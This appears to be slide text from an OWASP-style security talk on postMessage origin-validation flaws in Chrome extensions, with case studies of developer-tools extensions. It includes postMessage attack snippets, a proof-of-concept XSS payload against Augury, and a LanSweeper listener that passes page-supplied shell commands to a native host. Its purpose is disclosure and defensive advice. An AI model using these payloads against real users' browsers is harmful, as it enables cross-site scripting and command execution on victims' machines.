

PostMessage Security in Chrome Extensions

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Agenda

- Chrome extensions & their messaging
- PostMessage security considerations
- Mounting extensions analysis
- The results!
- The takeaways



Part I

CHROME EXTENSIONS & THEIR MESSAGING



Chrome extensions ecosystem

 Chrome Web Store is notoriously known in terms of security (unintuitive permissions dialogs, malware & insecure extensions)





Chrome extensions messaging

Operating System			
	Cł	nrome	
← → ↔ http://tes	t.com		
Background Scri	pt		
Tab 1	Tab 2	Tab 3	Tab 4
DOM			
Content	Content Script		Script
PostMessage A	PI		
Message Passing	API		
lative Messaging AF	2		



Extension manifest file

```
"name": "My Extension",
 "description": "My Super Chrome Extension"
"version": "1.0",
"background": {
  "scripts": ["js/background.js"]
},
"content_scripts": [
    "matches": ["<all_urls>"],
     "js": ["js/jquery.js", "js/content.js"]
"permissions": ["tabs", "http://*/*", "https://*/*"]
```



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Part II

POSTMESSAGE SECURITY CONSIDERATIONS



window.postMessage() method enables crossorigin communication

someWindow.postMessage(
 "my message", // message data
 "*", // target origin



Developer is in charge of origin validation

window.addEventListener("message", receiveMessage, false);

function receiveMessage(event) {
 if (event.origin !== "http://example.org")
 return; // checking origin host
 if (event.source !== window)
 return; // or origin window
 process(event.data);
}



- If origin validation is absent or is flawed, an attacker's message data can reach dangerous pieces of code.
- See "<u>The pitfalls of postMessage</u>" by Mathias Karlsson for common origin validation bypasses.



- Unlike other DOM events, message propagation to listeners cannot be stopped via return false or stopPropagation()...
- Extensions' message listeners are not listed in Chrome Developer Tools.

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PostMessage Attack Vectors

Method 1: iframes

var iframe = document.createElement("iframe");
iframe.src = "http://target.com";
iframe.contentWindow.postMessage("some message", "*");

Pros: stealthy

Cons: killed by X-Frame-Options and framebusters



PostMessage Attack Vectors

Method 2: opening a new window

var targetWindow = window.open("http://target.com"); targetWindow.onload = function() { targetWindow.postMessage("some message", "*");

Pros: not affected by X-Frame-Options Cons: more noisy



PostMessage in Chrome extensions

- Chrome extensions use postMessage API to receive messages from external web sites (e.g. translator services) or within the same origin (especially in developer tools extensions)
- postMessage data can be passed into background script context, and in some cases even reach OS via Native Messaging API







Download extensions (Web Development category only)





- Parse CRX files

 (https://github.com/vladignatyev/crxextractor)
- Convert to ZIP
- Unpack



- Parse Manifest file, find content scripts
- Parse each content script with Acorn JS parser (<u>https://github.com/ternjs/acorn</u>)
- Look for postMessage listeners with an Acorn plugin



 Log each postMessage listener found into local elasticsearch

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React Dev Tools

 Have got postMessage protection just recently by an external PR:

Validate the source of global messages (#561)

The global "message" event can be activated by pages from a different origin. Blindly accepting such messages is a security risk.

A message channel in React Devtools always have exactly two endpoints. At each side, the target of postMessage is also the expected source of the global message event. To resolve the security risk, I added a check to the message event handler to reject messages from unexpected sources.

P master (#561)

Rob--W committed with gaearon 22 days ago



React Dev Tools

 Prior to the fix message was validated by just checking a special property (which is user controlled):





Ember Inspector

 No origin validation, but, luckily, data does not reach sensitive parts.

/**

- * Add an event listener for window.messages.
- * The initial message from EmberDebug is used to setup the event listener
- * that proxies between the content-script and EmberDebug using a MessagingChannel.

* All events from the window are filtered by checking that data and data.type * properties exist before sending messages on to the background-script.

* See:

https://developer.mozilla.org/en-US/docs/Web/API/Channel_Messaging_API

```
/indow.addEventListener('message', function(event) {
    // received initial message from EmberDebug
    if (event.data === 'debugger-client') {
```

```
var emberDebugPort = event.ports[0];
listenToEmberDebugPort(emberDebugPort);
```

```
} else if (event.data && event.data.type) {
```

```
chrome.extension.sendMessage(event.data);
```

```
});
```



AngularJS Batarang (Angular v1.x)

 Developers have no clue how to validate origin

window.addEventListener('message', function(evt) {

// There's no good way to verify the provenance of the message.

// evt.source === window is true for all messages sent from

// the main frame. evt.origin is going to be the webpage's origin,

// even if the message originated from a chrome:// script you injected.

// The only thing we can do is see if the message *looks* like something

// we would send, cross our fingers, and send it on.

// Thus, we check for one of the properties known to be on *all* of our

// messages (__fromBatarang === true).

var eventData = evt.data;

// NOTE: Check for null before checking for the property, since typeof null === 'object'.

if (typeof eventData === 'object' && eventData !== null
 && eventData.hasOwnProperty('__fromBatarang') && eventData.__fromBatarang) {
 chrome.runtime.sendMessage(eventData);



});

Again, origin validation is just checking a magic string

```
window.addEventListener('message', function(event) {
    exports.browserDispatch(event.data);
});
exports.browserDispatch = function(message) {
    if (message_1.checkSource(message) === false) {
        return;
    }
    /* snip */
}
exports.messageSource = 'AUGURY_INSPECTED_APPLICATION';
exports.checkSource = function(message) {
    return message.messageSource === exports.messageSource;
};
```



 Augury employs interesting message serialization:

exports.serialize = function(value) {
 return "return " + serializer(value);
};
exports.deserialize = function(value) {
 return (new Function(value))();



};

 XSS on any website with the extension installed

targetWindow.postMessage({
 messageSource: 'AUGURY_INSPECTED_APPLICATION',
 messageType: 1,
 serialize: 2,
 content: 'alert(1)'



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Open Web Application Security Project

LanSweeper Shell Execute

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LanSweeper Shell Execute





LanSweeper Shell Execute

//Lets take message from site and send it to the native host. //The message should be a object like the one given in the below example // var msg = { "application" : "LanSweeper", "command" : "ping google.com" }; // // Attribute application should always be set to "LanSweeper" window.addEventListener("message", function(e) { var msg = new Object(); msg.origin = e.origin; if (e.data.application !== undefined && e.data.application == "LanSweeper") { msg.command = e.data.command; chrome.runtime.sendMessage(msg); } });









The takeaways

- For users:
 - do not install shady extensions from unknown publishers
 - check requested permissions



The takeaways

- For developers:
 - pay attention to origin validation in message listeners
 - consider origin bypass tricks
 - do not rely on magic strings



The takeaways

- For browsers:
 - should provide built-in origin validation
 - see <u>getMessage</u> proposal by <u>@homakov</u>





Thank you!